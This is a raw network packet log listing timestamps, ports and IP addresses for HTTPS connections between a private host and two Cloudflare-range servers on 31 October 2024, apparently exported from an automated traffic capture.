Oct 31, 2024 21:55:24.185878992 CET	443	53720	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.223515034 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.224011898 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.224025011 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.224879026 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.224952936 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.225255013 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.225307941 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.225486040 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.225492001 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.225779057 CET	443	51047	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.225944042 CET	51047	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:24.225974083 CET	443	51047	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.226258039 CET	443	51047	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.226517916 CET	51047	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:24.226576090 CET	443	51047	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.226670980 CET	51047	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:24.226690054 CET	443	51047	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.244543076 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.244914055 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.244927883 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.246362925 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.246431112 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.246679068 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.246763945 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.246786118 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.247715950 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.252052069 CET	51049	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.252064943 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.252348900 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.252763987 CET	51049	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.252827883 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.252903938 CET	51049	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.270519018 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.270811081 CET	51050	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.270821095 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.271095991 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.271133900 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.272411108 CET	51050	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.272460938 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.272541046 CET	51050	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.291378975 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.299360037 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.303195953 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.303234100 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.315320969 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.347363949 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.370548010 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.370604992 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.370646954 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.370656967 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.370662928 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.370704889 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.370709896 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.370719910 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.370753050 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.370759010 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.370774984 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.370817900 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.370824099 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.372664928 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.372714043 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.372720003 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.399446964 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.399647951 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.399713039 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.399745941 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.399832010 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.399919987 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.399982929 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.399992943 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.400033951 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.400043011 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.400176048 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.400222063 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.400229931 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.400342941 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.400388002 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.400396109 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.403980970 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.404028893 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.404061079 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.404073954 CET	51049	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.404084921 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.404124975 CET	51049	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.404126883 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.404169083 CET	51049	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.408246040 CET	51049	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.408262014 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.415530920 CET	51052	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.415551901 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.415626049 CET	51052	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.415853977 CET	51052	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.415864944 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.426188946 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.434885979 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.434951067 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.434978962 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.435005903 CET	51050	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.435014009 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.435055017 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.435056925 CET	51050	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.435096979 CET	51050	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.437016010 CET	51050	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.437024117 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.439260960 CET	51053	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.439285040 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.439357996 CET	51053	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.439565897 CET	51053	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.439577103 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.442197084 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.489850998 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.489902020 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.489932060 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.490046978 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.490056038 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.490106106 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.490274906 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.490323067 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.490350008 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.490370035 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.490374088 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.490412951 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.490417957 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.491107941 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.491142035 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.491172075 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.491173983 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.491183996 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.491223097 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.491964102 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.492007971 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.492012978 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.492042065 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.492067099 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.492093086 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.492099047 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.492140055 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.492777109 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.492819071 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.492863894 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.492870092 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.538347960 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.545002937 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.545219898 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.545288086 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.545300961 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.545425892 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.545480013 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.545659065 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.545669079 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.547800064 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.547811985 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.547879934 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.548101902 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.548111916 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.575330973 CET	51055	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.575345993 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.575527906 CET	51055	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.575843096 CET	51055	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.575850010 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.576205969 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.576241016 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.576297998 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.576529026 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.576541901 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.608732939 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.609014988 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.609044075 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.609069109 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.609074116 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.609080076 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.609138966 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.609194994 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.609250069 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.609250069 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.609261036 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.609306097 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.609353065 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.609961033 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.610011101 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.610017061 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.610090017 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.610136986 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.610142946 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.610183954 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.610188007 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.610198021 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.610230923 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.612005949 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.612061977 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.612066984 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.612112045 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.612159014 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.612210035 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.612329960 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.612386942 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.612391949 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.612412930 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.612466097 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.612471104 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.612509012 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.612559080 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.612602949 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.612698078 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.612751007 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.613957882 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.614020109 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.661911011 CET	443	51047	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.662003040 CET	443	51047	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.662152052 CET	51047	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:24.663147926 CET	51057	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:24.663165092 CET	443	51057	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.663206100 CET	51047	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:24.663220882 CET	443	51047	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.663227081 CET	51057	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:24.663628101 CET	51057	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:24.663636923 CET	443	51057	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.678706884 CET	51058	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.678728104 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.678896904 CET	51058	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.678997040 CET	51058	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.679013014 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.727669954 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.727849960 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.727989912 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.728058100 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.728130102 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.728188992 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.728221893 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.728266001 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.728375912 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.728423119 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.728506088 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.728553057 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.728598118 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.728647947 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.728698015 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.728753090 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.728924036 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.728966951 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.728976965 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.728981018 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.729008913 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.729029894 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.729135036 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.729186058 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.729274988 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.729301929 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.729317904 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.729321957 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.729347944 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.729437113 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.729480028 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.729484081 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.729523897 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.732587099 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.732640028 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.732640028 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.732649088 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.732695103 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.732831955 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.732863903 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.732882977 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.732887030 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.732908964 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.732917070 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.732996941 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.733043909 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.733110905 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.733171940 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.733325958 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.733355999 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.733381987 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.733386040 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.733406067 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.733424902 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.733597040 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.733649969 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.733711004 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.733769894 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.733802080 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.733846903 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.733870029 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.733916998 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.733983994 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.734031916 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.774389029 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.774456024 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.846322060 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.846401930 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.846803904 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.846812010 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.846846104 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.846875906 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.846884012 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.846894979 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.846937895 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.847138882 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.847174883 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.847194910 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.847201109 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.847212076 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.847239017 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.847676992 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.847692966 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.847748041 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.847754002 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.847798109 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.848181009 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.848193884 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.848248959 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.848253965 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.848305941 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.848664999 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.848679066 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.848733902 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.848743916 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.848790884 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.848973989 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.848988056 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.849034071 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.849039078 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.849083900 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.849586010 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.849603891 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.849653959 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.849658966 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.849683046 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.849683046 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.849701881 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.849704981 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.849713087 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.849734068 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.849767923 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.849773884 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.850550890 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.850564003 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.850620031 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.850627899 CET	51048	443	192.168.2.16	188.114.97.3
